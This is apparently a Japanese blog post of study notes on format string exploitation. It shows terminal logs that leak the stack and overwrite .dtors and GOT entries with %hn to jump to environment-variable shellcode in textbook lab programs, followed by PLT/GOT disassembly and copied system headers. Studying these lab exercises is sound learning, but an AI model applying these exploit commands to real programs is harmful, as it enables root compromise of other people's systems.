[DEBUG] buffer   @ 0x8567008: 'AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.'
[DEBUG] datafile @ 0x8567070: '/var/notes'
[DEBUG] ファイル記述子:3
メモが保存されました
[root@ip-172-31-25-205 0x300]# ./notesearch AAAA
[DEBUG] uid 0の34バイトのメモを見つけました。
[DEBUG] uid 0の34バイトのメモを見つけました。
[DEBUG] uid 0の5バイトのメモを見つけました。
[DEBUG] uid 0の5バイトのメモを見つけました。
[DEBUG] uid 0の35バイトのメモを見つけました。
AAAAbfdac790.23.0.b7726680.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78.
-------[ メモの終わり ]-------
[root@ip-172-31-25-205 0x300]# ./notetaker BBBB%8\$x
[DEBUG] buffer   @ 0x95b4008: 'BBBB%8$x'
[DEBUG] datafile @ 0x95b4070: '/var/notes'
[DEBUG] ファイル記述子:3
メモが保存されました
[root@ip-172-31-25-205 0x300]# ./notesearch BBBB
[DEBUG] uid 0の34バイトのメモを見つけました。
[DEBUG] uid 0の34バイトのメモを見つけました。
[DEBUG] uid 0の5バイトのメモを見つけました。
[DEBUG] uid 0の5バイトのメモを見つけました。
[DEBUG] uid 0の35バイトのメモを見つけました。
[DEBUG] uid 0の9バイトのメモを見つけました。
BBBB2e78252e
-------[ メモの終わり ]-------
# export SHELLCODE=$(cat shellcode.bin)
# ./getenvaddr SHELLCODE ./notesearch
SHELLCODE : 0xbfd987c8
# gdb -q
(gdb) p 0xbfd9 - 8
$1 = 49105
(gdb) p 0x87c8 - 0xbfd9
$2 = -14353
(gdb) p 0x187c8 - 0xbfd9
$3 = 51183
(gdb) quit
# nm ./notesearch | grep DTOR
08049c0c D __DTOR_END__
08049c08 d __DTOR_LIST__
[root@ip-172-31-25-205 0x300]# ./notetaker $(printf "\x0e\x9c\x04\x08\x0c\x9c\x04\x08")%49105x%8\$hn%51183x%9\$hn
[DEBUG] buffer   @ 0x9596008: '?
                               %49105x%8$hn%51183x%9$hn'
[DEBUG] datafile @ 0x9596070: '/var/notes'
[DEBUG] ファイル記述子:3
メモが保存されました
[root@ip-172-31-25-205 0x300]# ./notesearch 49105x
[DEBUG] uid 0の34バイトのメモを見つけました。
[DEBUG] uid 0の34バイトのメモを見つけました。
[DEBUG] uid 0の5バイトのメモを見つけました。
[DEBUG] uid 0の5バイトのメモを見つけました。
[DEBUG] uid 0の35バイトのメモを見つけました。
[DEBUG] uid 0の9バイトのメモを見つけました。
[DEBUG] uid 0の33バイトのメモを見つけました。
?

:
:
                                                            Segmentation fault (core dumped)

0x359: グローバルオフセットテーブル(GOT)の上書き

  • PLT(Procedure Linkage Table)セクション
    たいていのプログラムは共有ライプラリ関数を何度も使用するため、実行効率を向上
    させるために、これら関数の開始アドレスを保持するテーブル

PLTセクションは以下のようなジャンプ命令群になっている。

# objdump -d -j .plt ./fmt_vuln

./fmt_vuln:     file format elf32-i386


Disassembly of section .plt:

08048344 <__gmon_start__@plt-0x10>:
 8048344:   ff 35 98 98 04 08       pushl  0x8049898
 804834a:   ff 25 9c 98 04 08       jmp    *0x804989c
 8048350:   00 00                   add    %al,(%eax)
   ...

08048354 <__gmon_start__@plt>:
 8048354:   ff 25 a0 98 04 08       jmp    *0x80498a0
 804835a:   68 00 00 00 00          push   $0x0
 804835f:   e9 e0 ff ff ff          jmp    8048344 <_init+0x30>

08048364 <putchar@plt>:
 8048364:   ff 25 a4 98 04 08       jmp    *0x80498a4
 804836a:   68 08 00 00 00          push   $0x8
 804836f:   e9 d0 ff ff ff          jmp    8048344 <_init+0x30>

08048374 <__libc_start_main@plt>:
 8048374:   ff 25 a8 98 04 08       jmp    *0x80498a8
 804837a:   68 10 00 00 00          push   $0x10
 804837f:   e9 c0 ff ff ff          jmp    8048344 <_init+0x30>

08048384 <strcpy@plt>:
 8048384:   ff 25 ac 98 04 08       jmp    *0x80498ac
 804838a:   68 18 00 00 00          push   $0x18
 804838f:   e9 b0 ff ff ff          jmp    8048344 <_init+0x30>

08048394 <printf@plt>:
 8048394:   ff 25 b0 98 04 08       jmp    *0x80498b0
 804839a:   68 20 00 00 00          push   $0x20
 804839f:   e9 a0 ff ff ff          jmp    8048344 <_init+0x30>

080483a4 <puts@plt>:
 80483a4:   ff 25 b4 98 04 08       jmp    *0x80498b4
 80483aa:   68 28 00 00 00          push   $0x28
 80483af:   e9 90 ff ff ff          jmp    8048344 <_init+0x30>

080483b4 <exit@plt>:
 80483b4:   ff 25 b8 98 04 08       jmp    *0x80498b8
 80483ba:   68 30 00 00 00          push   $0x30
 80483bf:   e9 80 ff ff ff          jmp    8048344 <_init+0x30>

PLTセクションはREADONLY

# objdump -h ./fmt_vuln | grep -A1 "\ .plt\ "
 11 .plt          00000080  08048344  08048344  00000344  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE

exit()の分岐命令は、実際のアドレスに直接分岐しているのではなく、特定アドレスに格納されているアドレスデータを読み込み、そこに分岐するという間接分岐命令になっている。

たとえば、printf()関数の実際のアドレスは0x80498b0ちおうアドレスのメモリ上にポインタとして格納されており、exit()関数は、0x80498b8というアドレスに格納されている。

08048394 <printf@plt>:
 8048394:   ff 25 b0 98 04 08       jmp    *0x80498b0
 804839a:   68 20 00 00 00          push   $0x20
 804839f:   e9 a0 ff ff ff          jmp    8048344 <_init+0x30>
080483b4 <exit@plt>:
 80483b4:   ff 25 b8 98 04 08       jmp    *0x80498b8
 80483ba:   68 30 00 00 00          push   $0x30
 80483bf:   e9 80 ff ff ff          jmp    8048344 <_init+0x30>

上記のような分岐先のアドレスを格納されているのがGOT(Global Offset Table)というセクションで個々は書き込み可能

# objdump -R ./fmt_vuln

./fmt_vuln:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049890 R_386_GLOB_DAT    __gmon_start__
080498a0 R_386_JUMP_SLOT   __gmon_start__
080498a4 R_386_JUMP_SLOT   putchar
080498a8 R_386_JUMP_SLOT   __libc_start_main
080498ac R_386_JUMP_SLOT   strcpy
080498b0 R_386_JUMP_SLOT   printf
080498b4 R_386_JUMP_SLOT   puts
080498b8 R_386_JUMP_SLOT   exit

ということでroot権限でシェルと取ろうとするがうまくいかない。

# export SHELLCODE=$(cat shellcode.bin)
# ./getenvaddr SHELLCODE ./fmt_vuln
SHELLCODE : 0xbf8db7cc
# gdb -q
(gdb) p 0xbf8d - 8
$1 = 49029
(gdb) p 0xb7cc - 0xbf8d
$2 = -1985
(gdb) p 0x1b7cc - 0xbf8d
$3 = 63551
(gdb) quit

# ./fmt_vuln $(printf "\xba\x98\x04\x08\xb8\x98\x04\x08")%49029x%4\$hn%63551x5\$hn
ユーザによって入力されたテキストを出力する正しい方法:
??%49029x%4$hn%63551x5$hn
ユーザによって入力されたテキストを出力する誤った方法:
??                                                                                                                                                                                                                                                                                                
:
:
             bfc77a90 
:
:
[*] test_val @ 0x080498c0 = -72 0xffffffb8
Segmentation fault (core dumped)

その他

RHEL5はサポート外でデフォルトで使えない。

$ scp -i ~/.ssh/my_main_key.pem -r ./Code root@34.216.22.54:/home/centos/Hacking/
$ vim ~/.ssh/config 
$ ssh 32bit
# pwd
/root
# cd ../home/centos/Hacking/
# cd 0x200/
# yum install -y gcc
Loaded plugins: fastestmirror, security
Loading mirror speeds from cached hostfile
YumRepo Error: All mirror URLs are not using ftp, http[s] or file.
 Eg. Invalid release/
removing mirrorlist with no valid mirrors: /var/cache/yum/base/mirrorlist.txt
Error: Cannot find a valid baseurl for repo: base
[root@ip-172-31-18-240 0x200]# 
Broadcast message from root (Tue Feb 13 13:39:25 2018):

The system is going down for system halt NOW!
Connection to 34.216.22.54 closed by remote host.
Connection to 34.216.22.54 closed.

0x280

“`/usr/include/bits/fcntl.h
/* open/fcntl – O_SYNC is only implemented on blocks devices and on files
located on a few file systems. <em>/
#define O_ACCMODE 0003
#define O_RDONLY 00
#define O_WRONLY 01
#define O_RDWR 02
#define O_CREAT 0100 /</em> not fcntl <em>/
#define O_EXCL 0200 /</em> not fcntl <em>/
#define O_NOCTTY 0400 /</em> not fcntl <em>/
#define O_TRUNC 01000 /</em> not fcntl */
#define O_APPEND 02000
#define O_NONBLOCK 04000
#define O_NDELAY O_NONBLOCK
#define O_SYNC 04010000
#define O_FSYNC O_SYNC
#define O_ASYNC 020000

<pre><code><br /><br />“`/usr/include/sys/stat.h
#define S_IRUSR __S_IREAD /* Read by owner. */
#define S_IWUSR __S_IWRITE /* Write by owner. */
#define S_IXUSR __S_IEXEC /* Execute by owner. */
/* Read, write, and execute by owner. */
#define S_IRWXU (__S_IREAD|__S_IWRITE|__S_IEXEC)

#if defined __USE_MISC && defined __USE_BSD
# define S_IREAD S_IRUSR
# define S_IWRITE S_IWUSR
# define S_IEXEC S_IXUSR
#endif

#define S_IRGRP (S_IRUSR >> 3) /* Read by group. */
#define S_IWGRP (S_IWUSR >> 3) /* Write by group. */
#define S_IXGRP (S_IXUSR >> 3) /* Execute by group. */
/* Read, write, and execute by group. */
#define S_IRWXG (S_IRWXU >> 3)

#define S_IROTH (S_IRGRP >> 3) /* Read by others. */
#define S_IWOTH (S_IWGRP >> 3) /* Write by others. */
#define S_IXOTH (S_IXGRP >> 3) /* Execute by others. */
/* Read, write, and execute by others. */
#define S_IRWXO (S_IRWXG >> 3)

カテゴリー:

コメントを残す

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です